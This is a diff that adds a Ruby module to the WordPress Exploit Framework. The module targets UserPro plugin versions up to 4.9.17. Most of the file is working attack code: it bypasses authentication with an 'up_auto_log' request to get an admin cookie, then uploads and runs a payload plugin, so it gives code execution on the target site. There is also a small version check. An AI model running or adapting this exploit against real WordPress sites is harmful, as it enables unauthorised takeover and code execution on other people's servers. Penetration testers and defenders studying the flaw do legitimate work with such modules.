|
| 1 | +# frozen_string_literal: true |
| 2 | + |
| 3 | +class Wpxf::Exploit::UserProShellUpload < Wpxf::Module |
| 4 | + include Wpxf::WordPress::Login |
| 5 | + include Wpxf::WordPress::Plugin |
| 6 | + include Wpxf::Utility |
| 7 | + |
| 8 | + def initialize |
| 9 | + super |
| 10 | + |
| 11 | + update_info( |
| 12 | + name: 'UserPro <= 4.9.17 Shell Upload', |
| 13 | + desc: %( |
| 14 | + Prior to version 4.9.17.1, the UserPro plugin is vulnerable to |
| 15 | + an authentication bypass if a user named "admin" exists. Using |
| 16 | + this vulnerability, this module gains admin rights and uploads |
| 17 | + a payload to the target in the form of a plugin. |
| 18 | + ), |
| 19 | + author: [ |
| 20 | + 'Colette Chamberland', # Disclosure |
| 21 | + 'Iain Hadgraft', # Disclosure |
| 22 | + 'rastating' # WPXF Module |
| 23 | + ], |
| 24 | + date: 'Nov 11 2017' |
| 25 | + ) |
| 26 | + end |
| 27 | + |
| 28 | + def check |
| 29 | + changelog = normalize_uri(wordpress_url_plugins, 'userpro', 'changelog.txt') |
| 30 | + regex = /Version\s+([\d\.]+)\s+/ |
| 31 | + check_version_from_custom_file(changelog, regex, '4.9.17.1') |
| 32 | + end |
| 33 | + |
| 34 | + def fetch_admin_cookie |
| 35 | + res = execute_get_request( |
| 36 | + url: full_uri, |
| 37 | + params: { |
| 38 | + 'up_auto_log' => 'true' |
| 39 | + } |
| 40 | + ) |
| 41 | + |
| 42 | + return nil unless valid_wordpress_cookie?(res.cookies.to_s) |
| 43 | + |
| 44 | + res.cookies.each do |k, v| |
| 45 | + return nil if k =~ /^wordpress.*/ && v == 'deleted' |
| 46 | + end |
| 47 | + |
| 48 | + res.cookies |
| 49 | + end |
| 50 | + |
| 51 | + def run |
| 52 | + return false unless super |
| 53 | + |
| 54 | + emit_info 'Acquiring admin cookie...' |
| 55 | + cookie = fetch_admin_cookie |
| 56 | + if cookie.nil? |
| 57 | + emit_error 'Failed to acquire an admin cookie. A user named "admin" may not exist.' |
| 58 | + return false |
| 59 | + end |
| 60 | + |
| 61 | + emit_info 'Uploading payload...' |
| 62 | + res = wordpress_upload_and_execute_payload_plugin( |
| 63 | + Text.rand_alpha(10), |
| 64 | + Text.rand_alpha(10), |
| 65 | + cookie |
| 66 | + ) |
| 67 | + |
| 68 | + !res.nil? |
| 69 | + end |
| 70 | +end |
0 commit comments